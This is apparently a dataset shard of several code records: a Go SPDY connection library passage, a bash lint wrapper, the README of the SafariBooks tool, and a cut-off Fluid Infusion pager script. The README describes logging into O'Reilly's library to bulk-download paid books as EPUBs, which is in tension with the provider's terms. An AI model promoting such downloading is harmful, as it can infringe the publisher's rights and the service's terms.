{\n\t\ts.remoteStreamFinish(stream)\n\t}\n\n\tclose(stream.startChan)\n\n\treturn nil\n}\n\nfunc (s *Connection) handleResetFrame(frame *spdy.RstStreamFrame) error {\n\tstream, streamOk := s.getStream(frame.StreamId)\n\tif !streamOk {\n\t\t// Stream has already been removed\n\t\treturn nil\n\t}\n\ts.removeStream(stream)\n\tstream.closeRemoteChannels()\n\n\tif !stream.replied {\n\t\tstream.replied = true\n\t\tstream.startChan <- ErrReset\n\t\tclose(stream.startChan)\n\t}\n\n\tstream.finishLock.Lock()\n\tstream.finished = true\n\tstream.finishLock.Unlock()\n\n\treturn nil\n}\n\nfunc (s *Connection) handleHeaderFrame(frame *spdy.HeadersFrame) error {\n\tstream, streamOk := s.getStream(frame.StreamId)\n\tif !streamOk {\n\t\t// Stream has already gone away\n\t\treturn nil\n\t}\n\tif !stream.replied {\n\t\t// No reply received...Protocol error?\n\t\treturn nil\n\t}\n\n\t// TODO limit headers while not blocking (use buffered chan or goroutine?)\n\tselect {\n\tcase <-stream.closeChan:\n\t\treturn nil\n\tcase stream.headerChan <- frame.Headers:\n\t}\n\n\tif (frame.CFHeader.Flags & spdy.ControlFlagFin) != 0x00 {\n\t\ts.remoteStreamFinish(stream)\n\t}\n\n\treturn nil\n}\n\nfunc (s *Connection) handleDataFrame(frame *spdy.DataFrame) error {\n\tdebugMessage(\"(%p) Data frame received for %d\", s, frame.StreamId)\n\tstream, streamOk := s.getStream(frame.StreamId)\n\tif !streamOk {\n\t\tdebugMessage(\"(%p) Data frame gone away for %d\", s, frame.StreamId)\n\t\t// Stream has already gone away\n\t\treturn nil\n\t}\n\tif !stream.replied {\n\t\tdebugMessage(\"(%p) Data frame not replied %d\", s, frame.StreamId)\n\t\t// No reply received...Protocol error?\n\t\treturn nil\n\t}\n\n\tdebugMessage(\"(%p) (%d) Data frame handling\", stream, stream.streamId)\n\tif len(frame.Data) > 0 {\n\t\tstream.dataLock.RLock()\n\t\tselect {\n\t\tcase <-stream.closeChan:\n\t\t\tdebugMessage(\"(%p) (%d) Data frame not sent (stream shut down)\", stream, stream.streamId)\n\t\tcase stream.dataChan <- frame.Data:\n\t\t\tdebugMessage(\"(%p) (%d) Data frame sent\", stream, stream.streamId)\n\t\t}\n\t\tstream.dataLock.RUnlock()\n\t}\n\tif (frame.Flags & spdy.DataFlagFin) != 0x00 {\n\t\ts.remoteStreamFinish(stream)\n\t}\n\treturn nil\n}\n\nfunc (s *Connection) handlePingFrame(frame *spdy.PingFrame) error {\n\tif s.pingId&0x01 != frame.Id&0x01 {\n\t\treturn s.framer.WriteFrame(frame)\n\t}\n\tpingChan, pingOk := s.pingChans[frame.Id]\n\tif pingOk {\n\t\tclose(pingChan)\n\t}\n\treturn nil\n}\n\nfunc (s *Connection) handleGoAwayFrame(frame *spdy.GoAwayFrame) error {\n\tdebugMessage(\"(%p) Go away received\", s)\n\ts.receiveIdLock.Lock()\n\tif s.goneAway {\n\t\ts.receiveIdLock.Unlock()\n\t\treturn nil\n\t}\n\ts.goneAway = true\n\ts.receiveIdLock.Unlock()\n\n\tif s.lastStreamChan != nil {\n\t\tstream, _ := s.getStream(frame.LastGoodStreamId)\n\t\tgo func() {\n\t\t\ts.lastStreamChan <- stream\n\t\t}()\n\t}\n\n\t// Do not block frame handler waiting for closure\n\tgo s.shutdown(s.goAwayTimeout)\n\n\treturn nil\n}\n\nfunc (s *Connection) remoteStreamFinish(stream *Stream) {\n\tstream.closeRemoteChannels()\n\n\tstream.finishLock.Lock()\n\tif stream.finished {\n\t\t// Stream is fully closed, cleanup\n\t\ts.removeStream(stream)\n\t}\n\tstream.finishLock.Unlock()\n}\n\n// CreateStream creates a new spdy stream using the parameters for\n// creating the stream frame. The stream frame will be sent upon\n// calling this function, however this function does not wait for\n// the reply frame. If waiting for the reply is desired, use\n// the stream Wait or WaitTimeout function on the stream returned\n// by this function.\nfunc (s *Connection) CreateStream(headers http.Header, parent *Stream, fin bool) (*Stream, error) {\n\t// MUST synchronize stream creation (all the way to writing the frame)\n\t// as stream IDs **MUST** increase monotonically.\n\ts.nextIdLock.Lock()\n\tdefer s.nextIdLock.Unlock()\n\n\tstreamId := s.getNextStreamId()\n\tif streamId == 0 {\n\t\treturn nil, fmt.Errorf(\"Unable to get new stream id\")\n\t}\n\n\tstream := &Stream{\n\t\tstreamId: streamId,\n\t\tparent: parent,\n\t\tconn: s,\n\t\tstartChan: make(chan error),\n\t\theaders: headers,\n\t\tdataChan: make(chan []byte),\n\t\theaderChan: make(chan http.Header),\n\t\tcloseChan: make(chan bool),\n\t}\n\n\tdebugMessage(\"(%p) (%p) Create stream\", s, stream)\n\n\ts.addStream(stream)\n\n\treturn stream, s.sendStream(stream, fin)\n}\n\nfunc (s *Connection) shutdown(closeTimeout time.Duration) {\n\t// TODO Ensure this isn't called multiple times\n\ts.shutdownLock.Lock()\n\tif s.hasShutdown {\n\t\ts.shutdownLock.Unlock()\n\t\treturn\n\t}\n\ts.hasShutdown = true\n\ts.shutdownLock.Unlock()\n\n\tvar timeout <-chan time.Time\n\tif closeTimeout > time.Duration(0) {\n\t\ttimeout = time.After(closeTimeout)\n\t}\n\tstreamsClosed := make(chan bool)\n\n\tgo func() {\n\t\ts.streamCond.L.Lock()\n\t\tfor len(s.streams) > 0 {\n\t\t\tdebugMessage(\"Streams opened: %d, %#v\", len(s.streams), s.streams)\n\t\t\ts.streamCond.Wait()\n\t\t}\n\t\ts.streamCond.L.Unlock()\n\t\tclose(streamsClosed)\n\t}()\n\n\tvar err error\n\tselect {\n\tcase <-streamsClosed:\n\t\t// No active streams, close should be safe\n\t\terr = s.conn.Close()\n\tcase <-timeout:\n\t\t// Force ungraceful close\n\t\terr = s.conn.Close()\n\t\t// Wait for cleanup to clear active streams\n\t\t<-streamsClosed\n\t}\n\n\tif err != nil {\n\t\tduration := 10 * time.Minute\n\t\ttime.AfterFunc(duration, func() {\n\t\t\tselect {\n\t\t\tcase err, ok := <-s.shutdownChan:\n\t\t\t\tif ok {\n\t\t\t\t\tfmt.Errorf(\"Unhandled close error after %s: %s\", duration, err)\n\t\t\t\t}\n\t\t\tdefault:\n\t\t\t}\n\t\t})\n\t\ts.shutdownChan <- err\n\t}\n\tclose(s.shutdownChan)\n\n\treturn\n}\n\n// Closes spdy connection by sending GoAway frame and initiating shutdown\nfunc (s *Connection) Close() error {\n\ts.receiveIdLock.Lock()\n\tif s.goneAway {\n\t\ts.receiveIdLock.Unlock()\n\t\treturn nil\n\t}\n\ts.goneAway = true\n\ts.receiveIdLock.Unlock()\n\n\tvar lastStreamId spdy.StreamId\n\tif s.receivedStreamId > 2 {\n\t\tlastStreamId = s.receivedStreamId - 2\n\t}\n\n\tgoAwayFrame := &spdy.GoAwayFrame{\n\t\tLastGoodStreamId: lastStreamId,\n\t\tStatus: spdy.GoAwayOK,\n\t}\n\n\terr := s.framer.WriteFrame(goAwayFrame)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tgo s.shutdown(s.closeTimeout)\n\n\treturn nil\n}\n\n// CloseWait closes the connection and waits for shutdown\n// to finish. Note the underlying network Connection\n// is not closed until the end of shutdown.\nfunc (s *Connection) CloseWait() error {\n\tcloseErr := s.Close()\n\tif closeErr != nil {\n\t\treturn closeErr\n\t}\n\tshutdownErr, ok := <-s.shutdownChan\n\tif ok {\n\t\treturn shutdownErr\n\t}\n\treturn nil\n}\n\n// Wait waits for the connection to finish shutdown or for\n// the wait timeout duration to expire. This needs to be\n// called either after Close has been called or the GOAWAYFRAME\n// has been received. If the wait timeout is 0, this function\n// will block until shutdown finishes. If wait is never called\n// and a shutdown error occurs, that error will be logged as an\n// unhandled error.\nfunc (s *Connection) Wait(waitTimeout time.Duration) error {\n\tvar timeout <-chan time.Time\n\tif waitTimeout > time.Duration(0) {\n\t\ttimeout = time.After(waitTimeout)\n\t}\n\n\tselect {\n\tcase err, ok := <-s.shutdownChan:\n\t\tif ok {\n\t\t\treturn err\n\t\t}\n\tcase <-timeout:\n\t\treturn ErrTimeout\n\t}\n\treturn nil\n}\n\n// NotifyClose registers a channel to be called when the remote\n// peer inidicates connection closure. The last stream to be\n// received by the remote will be sent on the channel. The notify\n// timeout will determine the duration between go away received\n// and the connection being closed.\nfunc (s *Connection) NotifyClose(c chan<- *Stream, timeout time.Duration) {\n\ts.goAwayTimeout = timeout\n\ts.lastStreamChan = c\n}\n\n// SetCloseTimeout sets the amount of time close will wait for\n// streams to finish before terminating the underlying network\n// connection. Setting the timeout to 0 will cause close to\n// wait forever, which is the default.\nfunc (s *Connection) SetCloseTimeout(timeout time.Duration) {\n\ts.closeTimeout = timeout\n}\n\n// SetIdleTimeout sets the amount of time the connection may sit idle before\n// it is forcefully terminated.\nfunc (s *Connection) SetIdleTimeout(timeout time.Duration) {\n\ts.framer.setIdleTimeout(timeout)\n}\n\nfunc (s *Connection) sendHeaders(headers http.Header, stream *Stream, fin bool) error {\n\tvar flags spdy.ControlFlags\n\tif fin {\n\t\tflags = spdy.ControlFlagFin\n\t}\n\n\theaderFrame := &spdy.HeadersFrame{\n\t\tStreamId: stream.streamId,\n\t\tHeaders: headers,\n\t\tCFHeader: spdy.ControlFrameHeader{Flags: flags},\n\t}\n\n\treturn s.framer.WriteFrame(headerFrame)\n}\n\nfunc (s *Connection) sendReply(headers http.Header, stream *Stream, fin bool) error {\n\tvar flags spdy.ControlFlags\n\tif fin {\n\t\tflags = spdy.ControlFlagFin\n\t}\n\n\treplyFrame := &spdy.SynReplyFrame{\n\t\tStreamId: stream.streamId,\n\t\tHeaders: headers,\n\t\tCFHeader: spdy.ControlFrameHeader{Flags: flags},\n\t}\n\n\treturn s.framer.WriteFrame(replyFrame)\n}\n\nfunc (s *Connection) sendResetFrame(status spdy.RstStreamStatus, streamId spdy.StreamId) error {\n\tresetFrame := &spdy.RstStreamFrame{\n\t\tStreamId: streamId,\n\t\tStatus: status,\n\t}\n\n\treturn s.framer.WriteFrame(resetFrame)\n}\n\nfunc (s *Connection) sendReset(status spdy.RstStreamStatus, stream *Stream) error {\n\treturn s.sendResetFrame(status, stream.streamId)\n}\n\nfunc (s *Connection) sendStream(stream *Stream, fin bool) error {\n\tvar flags spdy.ControlFlags\n\tif fin {\n\t\tflags = spdy.ControlFlagFin\n\t\tstream.finished = true\n\t}\n\n\tvar parentId spdy.StreamId\n\tif stream.parent != nil {\n\t\tparentId = stream.parent.streamId\n\t}\n\n\tstreamFrame := &spdy.SynStreamFrame{\n\t\tStreamId: spdy.StreamId(stream.streamId),\n\t\tAssociatedToStreamId: spdy.StreamId(parentId),\n\t\tHeaders: stream.headers,\n\t\tCFHeader: spdy.ControlFrameHeader{Flags: flags},\n\t}\n\n\treturn s.framer.WriteFrame(streamFrame)\n}\n\n// getNextStreamId returns the next sequential id\n// every call should produce a unique value or an error\nfunc (s *Connection) getNextStreamId() spdy.StreamId {\n\tsid := s.nextStreamId\n\tif sid > 0x7fffffff {\n\t\treturn 0\n\t}\n\ts.nextStreamId = s.nextStreamId + 2\n\treturn sid\n}\n\n// PeekNextStreamId returns the next sequential id and keeps the next id untouched\nfunc (s *Connection) PeekNextStreamId() spdy.StreamId {\n\tsid := s.nextStreamId\n\treturn sid\n}\n\nfunc (s *Connection) validateStreamId(rid spdy.StreamId) error {\n\tif rid > 0x7fffffff || rid < s.receivedStreamId {\n\t\treturn ErrInvalidStreamId\n\t}\n\ts.receivedStreamId = rid + 2\n\treturn nil\n}\n\nfunc (s *Connection) addStream(stream *Stream) {\n\ts.streamCond.L.Lock()\n\ts.streams[stream.streamId] = stream\n\tdebugMessage(\"(%p) (%p) Stream added, broadcasting: %d\", s, stream, stream.streamId)\n\ts.streamCond.Broadcast()\n\ts.streamCond.L.Unlock()\n}\n\nfunc (s *Connection) removeStream(stream *Stream) {\n\ts.streamCond.L.Lock()\n\tdelete(s.streams, stream.streamId)\n\tdebugMessage(\"(%p) (%p) Stream removed, broadcasting: %d\", s, stream, stream.streamId)\n\ts.streamCond.Broadcast()\n\ts.streamCond.L.Unlock()\n}\n\nfunc (s *Connection) getStream(streamId spdy.StreamId) (stream *Stream, ok bool) {\n\ts.streamLock.RLock()\n\tstream, ok = s.streams[streamId]\n\ts.streamLock.RUnlock()\n\treturn\n}\n\n// FindStream looks up the given stream id and either waits for the\n// stream to be found or returns nil if the stream id is no longer\n// valid.\nfunc (s *Connection) FindStream(streamId uint32) *Stream {\n\tvar stream *Stream\n\tvar ok bool\n\ts.streamCond.L.Lock()\n\tstream, ok = s.streams[spdy.StreamId(streamId)]\n\tdebugMessage(\"(%p) Found stream %d? %t\", s, spdy.StreamId(streamId), ok)\n\tfor !ok && streamId >= uint32(s.receivedStreamId) {\n\t\ts.streamCond.Wait()\n\t\tstream, ok = s.streams[spdy.StreamId(streamId)]\n\t}\n\ts.streamCond.L.Unlock()\n\treturn stream\n}\n\nfunc (s *Connection) CloseChan() <-chan bool {\n\treturn s.closeChan\n}\n"} {"text": "#!/bin/bash\n\nSCRIPT_NAME=\"$(basename \"${BASH_SOURCE:-$0}\")\"\nreadonly SCRIPT_NAME\n\n# Dockerコンテナ系の定数\nreadonly CONTAINER_DIR_PREFIX=/work\n\n# 着色系ANSIエスケープシーケンス\nreadonly RED=$'\\x1b[31m'\nreadonly GREEN=$'\\x1b[32m'\nreadonly RESET=$'\\x1b[m'\n\n# デフォルトの静的解析対象\nreadonly DEFAULT_TARGET_FILES=(*.sh bin/*)\n\ntest_count=0\nerr_count=0\n\nmain() {\n # 引数なしのときはヘルプを出力して終了\n if [[ $# -lt 1 ]]; then\n usage >&2\n return 1\n fi\n\n while ((0 < $#)); do\n local opt=$1\n shift\n\n case \"$opt\" in\n help)\n usage\n return\n ;;\n setup)\n # フォーマットとlintに使うDockerイメージを取得\n docker-compose pull formatter linter\n ;;\n format)\n # コードフォーマットにかける\n overwrite=\"\"\n cmd_format \"$@\"\n print_check_result\n return $?\n ;;\n format-save)\n # コードフォーマットにかけて上書き保存\n overwrite=\"-w\"\n cmd_format \"$@\"\n print_check_result\n return $?\n ;;\n lint)\n # 静的解析\n cmd_lint \"$@\"\n print_check_result\n return $?\n ;;\n all)\n # コードフォーマット+静的解析\n cmd_format \"$@\"\n cmd_lint \"$@\"\n print_check_result\n return $?\n ;;\n *)\n usage >&2\n return 1\n ;;\n esac\n done\n}\n\nusage() {\n cat << EOS\n$SCRIPT_NAME はプロジェクト内のシェルスクリプトのコードスタイルチェックをします。\n\nUsage:\n $SCRIPT_NAME <command>\n\nAvailable commands:\n help このヘルプを出力する。\n setup リントツールをセットアップする。\n format [files...] コードフォーマットにかける。\n format-save [files...] コードフォーマットして上書き保存する。\n lint [files...] リントにかける。\n all プロジェクト全体をフォーマットとリントにかける。\nEOS\n}\n\n## フォーマットにかけるサブコマンド。\ncmd_format() {\n # 引数(ファイル)の指定があればそのファイルを解析する\n # なければデフォルト指定(プロジェクト全体)のファイルを解析する\n local files=(\"${DEFAULT_TARGET_FILES[@]}\")\n if [[ 0 -lt $# ]]; then\n files=(\"$@\")\n fi\n\n # テストするファイルの件数を加算\n test_count=$((test_count + ${#files[@]}))\n\n # コンテナ内のマウントディレクトリのフルパスに変更\n local fullpath_files=()\n for f in \"${files[@]}\"; do\n fullpath_files+=(\"$CONTAINER_DIR_PREFIX/$f\")\n done\n\n run_shfmt \"${fullpath_files[@]}\"\n}\n\n## フォーマットにかける。\nrun_shfmt() {\n local files=(\"$@\")\n local ret\n docker-compose run formatter $overwrite \"${files[@]}\"\n ret=$?\n if [[ \"$ret\" -ne 0 ]]; then\n err_count=$((err_count + 1))\n fi\n}\n\n## 静的解析にかけるサブコマンド。\ncmd_lint() {\n # 引数(ファイル)の指定があればそのファイルを解析する\n # なければデフォルト指定(プロジェクト全体)のファイルを解析する\n local files=(\"${DEFAULT_TARGET_FILES[@]}\")\n if [[ 0 -lt $# ]]; then\n files=(\"$@\")\n fi\n\n # テストするファイルの件数を加算\n test_count=$((test_count + ${#files[@]}))\n\n # コンテナ内のマウントディレクトリのフルパスに変更\n local fullpath_files=()\n for f in \"${files[@]}\"; do\n # unko.puzzleはスキップする\n if [[ \"$f\" =~ ^.*unko.puzzle$ ]]; then\n continue\n fi\n fullpath_files+=(\"$CONTAINER_DIR_PREFIX/$f\")\n done\n\n run_shellcheck \"${fullpath_files[@]}\"\n}\n\n## 静的解析にかける。\nrun_shellcheck() {\n local files=(\"$@\")\n local ret\n docker-compose run linter \"${files[@]}\"\n ret=$?\n if [[ \"$ret\" -ne 0 ]]; then\n err_count=$((err_count + 1))\n fi\n}\n\n## テストの結果を出力する。\nprint_check_result() {\n echo \"--------------------------------------------------------------------------------\"\n if [[ \"$err_count\" -lt 1 ]]; then\n echo -e \"[ ${GREEN}PASS${RESET} ] ($test_count/$test_count) all lint were passed.\"\n return\n else\n echo -e \"[ ${RED}FAIL${RESET} ] lint were failed.\"\n return 1\n fi\n}\n\nmain ${1+\"$@\"}\nexit $?\n"} {"text": "# SafariBooks\nDownload and generate *EPUB* of your favorite books from [*Safari Books Online*](https://www.safaribooksonline.com) library. \nI'm not responsible for the use of this program, this is only for *personal* and *educational* purpose. \nBefore any usage please read the *O'Reilly*'s [Terms of Service](https://learning.oreilly.com/terms/). \n\n## Overview:\n * [Requirements & Setup](#requirements--setup)\n * [Usage](#usage)\n * [Example: Download *Test-Driven Development with Python, 2nd Edition*](#download-test-driven-development-with-python-2nd-edition)\n * [Example: Use or not the `--kindle` option](#use-or-not-the---kindle-option)\n\n## Requirements & Setup:\nFirst of all, it requires `python3` and `pip3` or `pipenv` to be installed. \n```shell\n$ git clone https://github.com/lorenzodifuccia/safaribooks.git\nCloning into 'safaribooks'...\n\n$ cd safaribooks/\n$ pip3 install -r requirements.txt\n\nOR\n\n$ pipenv install && pipenv shell\n``` \n\nThe program depends of only two **Python _3_** modules:\n```python3\nlxml>=4.1.1\nrequests>=2.20.0\n```\n \n## Usage:\nIt's really simple to use, just choose a book from the library and replace in the following command:\n * X-es with its ID, \n * `email:password` with your own. \n\n```shell\n$ python3 safaribooks.py --cred \"account_mail@mail.com:password01\" XXXXXXXXXXXXX\n```\n\nThe ID is the digits that you find in the URL of the book description page: \n`https://www.safaribooksonline.com/library/view/book-name/XXXXXXXXXXXXX/` \nLike: `https://www.safaribooksonline.com/library/view/test-driven-development-with/9781491958698/` \n \n#### Program options:\n```shell\n$ python3 safaribooks.py --help\nusage: safaribooks.py [--cred <EMAIL:PASS> | --login] [--no-cookies]\n [--kindle] [--preserve-log] [--help]\n <BOOK ID>\n\nDownload and generate an EPUB of your favorite books from Safari Books Online.\n\npositional arguments:\n <BOOK ID> Book digits ID that you want to download. You can find\n it in the URL (X-es):\n `https://learning.oreilly.com/library/view/book-\n name/XXXXXXXXXXXXX/`\n\noptional arguments:\n --cred <EMAIL:PASS> Credentials used to perform the auth login on Safari\n Books Online. Es. ` --cred\n \"account_mail@mail.com:password01\" `.\n --login Prompt for credentials used to perform the auth login\n on Safari Books Online.\n --no-cookies Prevent your session data to be saved into\n `cookies.json` file.\n --kindle Add some CSS rules that block overflow on `table` and\n `pre` elements. Use this option if you're going to\n export the EPUB to E-Readers like Amazon Kindle.\n --preserve-log Leave the `info_XXXXXXXXXXXXX.log` file even if there\n isn't any error.\n --help Show this help message.\n```\n \nThe first time you use the program, you'll have to specify your Safari Books Online account credentials (look [`here`](/../../issues/15) for special character). \nThe next times you'll download a book, before session expires, you can omit the credential, because the program save your session cookies in a file called `cookies.json`. \nFor **SSO**, please use the `sso_cookies.py` program in order to create the `cookies.json` file from the SSO cookies retrieved by your browser session (please follow [`these steps`](/../../issues/150#issuecomment-555423085)). \n \nPay attention if you use a shared PC, because everyone that has access to your files can steal your session. \nIf you don't want to cache the cookies, just use the `--no-cookies` option and provide all time your credential through the `--cred` option or the more safe `--login` one: this will prompt you for credential during the script execution.\n\nYou can configure proxies by setting on your system the environment variable `HTTPS_PROXY` or using the `USE_PROXY` directive into the script.\n\n**Important**: since the script only download HTML pages and create a raw EPUB, many of the CSS and XML/HTML directives are wrong for an E-Reader. To ensure best quality of the output, I suggest you to always convert the `EPUB` obtained by the script to standard-`EPUB` with [Calibre](https://calibre-ebook.com/).\nYou can also use the command-line version of Calibre with `ebook-convert`, e.g.:\n```bash\n$ ebook-convert \"XXXX/safaribooks/Books/Test-Driven Development with Python 2nd Edition (9781491958698)/9781491958698.epub\" \"XXXX/safaribooks/Books/Test-Driven Development with Python 2nd Edition (9781491958698)/9781491958698_CLEAR.epub\"\n```\nAfter the execution, you can read the `9781491958698_CLEAR.epub` in every E-Reader and delete all other files.\n\nThe program offers also an option to ensure best compatibilities for who wants to export the `EPUB` to E-Readers like Amazon Kindle: `--kindle`, it blocks overflow on `table` and `pre` elements (see [example](#use-or-not-the---kindle-option)). \nIn this case, I suggest you to convert the `EPUB` to `AZW3` with Calibre or to `MOBI`, remember in this case to select `Ignore margins` in the conversion options: \n \n![Calibre IgnoreMargins](https://github.com/lorenzodifuccia/cloudflare/raw/master/Images/safaribooks/safaribooks_calibre_IgnoreMargins.png \"Select Ignore margins\") \n \n## Examples:\n * ## Download [Test-Driven Development with Python, 2nd Edition](https://www.safaribooksonline.com/library/view/test-driven-development-with/9781491958698/): \n ```shell\n $ python3 safaribooks.py --cred \"my_email@gmail.com:MyPassword1!\" 9781491958698\n\n ____ ___ _ \n / __/__ _/ _/__ _____(_)\n _\\ \\/ _ `/ _/ _ `/ __/ / \n /___/\\_,_/_/ \\_,_/_/ /_/ \n / _ )___ ___ / /__ ___\n / _ / _ \\/ _ \\/ '_/(_-<\n /____/\\___/\\___/_/\\_\\/___/\n\n ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n [-] Logging into Safari Books Online...\n [*] Retrieving book info... \n [-] Title: Test-Driven Development with Python, 2nd Edition \n [-] Authors: Harry J.W. Percival \n [-] Identifier: 9781491958698 \n [-] ISBN: 9781491958704 \n [-] Publishers: O'Reilly Media, Inc. \n [-] Rights: Copyright © O'Reilly Media, Inc. \n [-] Description: By taking you through the development of a real web application \n from beginning to end, the second edition of this hands-on guide demonstrates the \n practical advantages of test-driven development (TDD) with Python. You’ll learn \n how to write and run tests before building each part of your app, and then develop\n the minimum amount of code required to pass those tests. The result? Clean code\n that works.In the process, you’ll learn the basics of Django, Selenium, Git, \n jQuery, and Mock, along with curre...\n [-] Release Date: 2017-08-18\n [-] URL: https://learning.oreilly.com/library/view/test-driven-development-with/9781491958698/\n [*] Retrieving book chapters... \n [*] Output directory: \n /XXXX/safaribooks/Books/Test-Driven Development with Python 2nd Edition (9781491958698)\n [-] Downloading book contents... (53 chapters) \n [#####################################################################] 100%\n [-] Downloading book CSSs... (2 files) \n [#####################################################################] 100%\n [-] Downloading book images... (142 files) \n [#####################################################################] 100%\n [-] Creating EPUB file... \n [*] Done: /XXXX/safaribooks/Books/Test-Driven Development with Python 2nd Edition \n (9781491958698)/9781491958698.epub\n \n If you like it, please * this project on GitHub to make it known:\n https://github.com/lorenzodifuccia/safaribooks\n e don't forget to renew your Safari Books Online subscription:\n https://learning.oreilly.com\n \n [!] Bye!!\n ``` \n The result will be (opening the `EPUB` file with Calibre): \n\n ![Book Appearance](https://github.com/lorenzodifuccia/cloudflare/raw/master/Images/safaribooks/safaribooks_example01_TDD.png \"Book opened with Calibre\") \n \n * ## Use or not the `--kindle` option:\n ```bash\n $ python3 safaribooks.py --kindle 9781491958698\n ``` \n On the right, the book created with `--kindle` option, on the left without (default): \n \n ![NoKindle Option](https://github.com/lorenzodifuccia/cloudflare/raw/master/Images/safaribooks/safaribooks_example02_NoKindle.png \"Version compare\") \n \n--- \n \n## Thanks!!\nFor any kind of problem, please don't hesitate to open an issue here on *GitHub*. \n \n*Lorenzo Di Fuccia*\n"} {"text": "/*\nCopyright The Infusion copyright holders\nSee the AUTHORS.md file at the top-level directory of this distribution and at\nhttps://github.com/fluid-project/infusion/raw/master/AUTHORS.md.\n\nLicensed under the Educational Community License (ECL), Version 2.0 or the New\nBSD license. You may not use this file except in compliance with one these\nLicenses.\n\nYou may obtain a copy of the ECL 2.0 License and BSD License at\nhttps://github.com/fluid-project/infusion/raw/master/Infusion-LICENSE.txt\n*/\n\nvar fluid_3_0_0 = fluid_3_0_0 || {};\n\n(function ($, fluid) {\n \"use strict\";\n\n fluid.registerNamespace(\"fluid.pager\");\n\n /******************\n * Pager Bar View *\n ******************/\n // TODO: Convert one day to the \"visibility model\" system (FLUID-4928)\n fluid.pager.updateStyles = function (pageListThat, newModel, oldModel) {\n if (oldModel && oldModel.pageIndex !== undefined) {\n var oldLink = pageListThat.pageLinks.eq(oldModel.pageIndex);\n oldLink.removeClass(pageListThat.options.styles.currentPage);\n }\n var pageLink = pageListThat.pageLinks.eq(newModel.pageIndex);\n pageLink.addClass(pageListThat.options.styles.currentPage);\n };\n\n fluid.pager.bindLinkClick = function (link, initiatePageChange, eventArg) {\n link.off(\"click.fluid.pager\");\n link.on(\"click.fluid.pager\", function () {\n initiatePageChange.fire(eventArg);\n return false;\n });\n };\n\n // 10 -> 1, 11 -> 2\n fluid.pager.computePageCount = function (model) {\n return Math.max(1, Math.floor((model.totalRange - 1) / model.pageSize) + 1);\n };\n\n fluid.pager.computePageLimit = function (model) {\n return Math.min(model.totalRange, (model.pageIndex + 1) * model.pageSize);\n };\n\n fluid.pager.bindLinkClicks = function (pageLinks, initiatePageChange) {\n fluid.each(pageLinks, function (pageLink, i) {\n fluid.pager.bindLinkClick($(pageLink), initiatePageChange, {pageIndex: i});\n });\n };\n\n // Abstract grade representing all pageLists\n fluid.defaults(\"fluid.pager.pageList\", {\n gradeNames: [\"fluid.viewComponent\"]\n });\n\n fluid.defaults(\"fluid.pager.directPageList\", {\n gradeNames: [\"fluid.pager.pageList\"],\n listeners: {\n onCreate: {\n funcName: \"fluid.pager.bindLinkClicks\",\n args: [\"{that}.pageLinks\", \"{pager}.events.initiatePageChange\"]\n }\n },\n modelListeners: {\n \"{pager}.model\": \"fluid.pager.updateStyles({that}, {change}.value, {change}.oldValue)\"\n },\n members: {\n pageLinks: \"{that}.dom.pageLinks\",\n defaultModel: {\n totalRange: \"{that}.pageLinks.length\"\n }\n }\n });\n\n fluid.pager.everyPageStrategy = fluid.iota;\n\n fluid.pager.gappedPageStrategy = function (locality, midLocality) {\n if (!locality) {\n locality = 3;\n }\n if (!midLocality) {\n midLocality = locality;\n }\n return function (count, first, mid) {\n var togo = [];\n var j = 0;\n var lastSkip = false;\n for (var i = 0; i < count; ++i) {\n if (i < locality || (count - i - 1) < locality || (i >= mid - midLocality && i <= mid + midLocality)) {\n togo[j++] = i;\n lastSkip = false;\n } else if (!lastSkip) {\n togo[j++] = -1;\n lastSkip = true;\n }\n }\n return togo;\n };\n };\n\n /**\n * An impl of a page strategy that will always display same number of page links (including skip place holders).\n * @param {Number} endLinkCount - The number of elements first and last trunks of elements.\n * @param {Number} midLinkCount - The number of elements from beside the selected number.\n * @return {Function} - A paging function.\n * @author Eric Dalquist\n */\n fluid.pager.consistentGappedPageStrategy = function (endLinkCount, midLinkCount) {\n if (!endLinkCount) {\n endLinkCount = 1;\n }\n if (!midLinkCount) {\n midLinkCount = endLinkCount;\n }\n var endWidth = endLinkCount + 2 + midLinkCount;\n\n return function (count, first, mid) {\n var pages = [];\n var anchoredLeft = mid < endWidth;\n var anchoredRight = mid >= count - endWidth;\n var anchoredEndWidth = endWidth + midLinkCount;\n var midStart = mid - midLinkCount;\n var midEnd = mid + midLinkCount;\n var lastSkip = false;\n\n for (var page = 0; page < count; page++) {\n if (page < endLinkCount || // start pages\n count - page <= endLinkCount || // end pages\n (anchoredLeft && page < anchoredEndWidth) || // pages if no skipped pages between start and mid\n (anchoredRight && page >= count - anchoredEndWidth) || // pages if no skipped pages between mid and end\n (page >= midStart && page <= midEnd) // pages around the mid\n ) {\n pages.push(page);\n lastSkip = false;\n } else if (!lastSkip) {\n pages.push(-1);\n lastSkip = true;\n }\n }\n return pages;\n };\n };\n\n fluid.registerNamespace(\"fluid.pager.renderedPageList\");\n\n fluid.pager.renderedPageList.assembleComponent = function (page, isCurrent, initiatePageChange, currentPageStyle, currentPageIndexMsg) {\n var obj = {\n ID: \"page-link:link\",\n localID: page + 1,\n value: page + 1,\n pageIndex: page,\n decorators: [\n {\n identify: \"pageLink:\" + page\n },\n {\n type: \"jQuery\",\n func: \"click\",\n args: function (event) {\n initiatePageChange.fire({pageIndex: page});\n event.preventDefault();\n }\n }\n ]\n };\n\n if (isCurrent) {\n obj.current = true;\n obj.decorators = obj.decorators.concat([\n {\n type: \"addClass\",\n classes: currentPageStyle\n },\n {\n type: \"jQuery\",\n func: \"attr\",\n args: [\"aria-label\", currentPageIndexMsg]\n }\n ]);\n }\n\n return obj;\n };\n\n fluid.pager.renderedPageList.onModelChange = function (that, newModel) {\n function pageToComponent(current) {\n return function (page) {\n return page === -1 ? {\n ID: \"page-link:skip\"\n } : that.assembleComponent(page, page === current);\n };\n }\n\n var pages = that.options.pageStrategy(newModel.pageCount, 0, newModel.pageIndex);\n var pageTree = fluid.transform(pages, pageToComponent(newModel.pageIndex));\n if (pageTree.length > 1) {\n pageTree[pageTree.length - 1].value = pageTree[pageTree.length - 1].value + that.options.strings.last;\n }\n that.events.onRenderPageLinks.fire(pageTree, newModel);\n that.pageTree = pageTree;\n that.refreshView();\n };\n\n fluid.pager.renderedPageList.renderLinkBody = function (linkBody, rendererOptions) {\n if (linkBody) {\n rendererOptions.cutpoints.push({\n id: \"payload-component\",\n selector: linkBody\n });\n }\n };\n\n fluid.defaults(\"fluid.pager.renderedPageList\", {\n gradeNames: [\"fluid.pager.pageList\", \"fluid.rendererComponent\"],\n rendererOptions: {\n idMap: 